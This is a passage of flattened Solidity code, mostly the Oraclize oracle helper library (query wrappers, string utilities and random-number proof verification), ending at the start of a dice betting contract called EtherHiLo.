60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Ledger = 0x30; byte constant proofType_Android = 0x40; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ return oraclize_setNetwork(); networkID; } function oraclize_setNetwork() internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) public { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) public { return; myid; result; proof; } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal pure returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal pure returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal pure returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, "", "", ""); } function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal pure returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } using CBOR for Buffer.buffer; function stra2cbor(string[] arr) internal pure returns (bytes) { safeMemoryCleaner(); Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeString(arr[i]); } buf.endSequence(); return buf.buf; } function ba2cbor(bytes[] arr) internal pure returns (bytes) { safeMemoryCleaner(); Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeBytes(arr[i]); } buf.endSequence(); return buf.buf; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal view returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ require((_nbytes > 0) && (_nbytes <= 32)); _delay *= 10; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes memory delay = new bytes(32); assembly { mstore(add(delay, 0x20), _delay) } bytes memory delay_bytes8 = new bytes(8); copyBytes(delay, 24, 8, delay_bytes8, 0); bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; bytes32 queryId = oraclize_query("random", args, _customGasLimit); bytes memory delay_bytes8_left = new bytes(8); assembly { let x := mload(add(delay_bytes8, 0x20)) mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) } oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(keccak256(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(keccak256(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = byte(1); copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1)); bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); require(proofVerified); _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){ bool match_ = true; require(prefix.length == n_random_bytes); for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ delete oraclize_randomDS_args[queryId]; } else return false; bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) { uint minLength = length + toOffset; require(to.length >= minLength); uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } function safeMemoryCleaner() internal pure { assembly { let fmem := mload(0x40) codecopy(fmem, codesize, sub(msize, fmem)) } } } pragma solidity ^0.4.20; contract EtherHiLo is usingOraclize, Ownable { uint8 constant NUM_DICE_SIDES = 13; uint8 constant FAILED_ROLE = 69; uint public rngCallbackGas = 500000; uint public minBet = 100 finney; uint public maxBetThresholdPct = 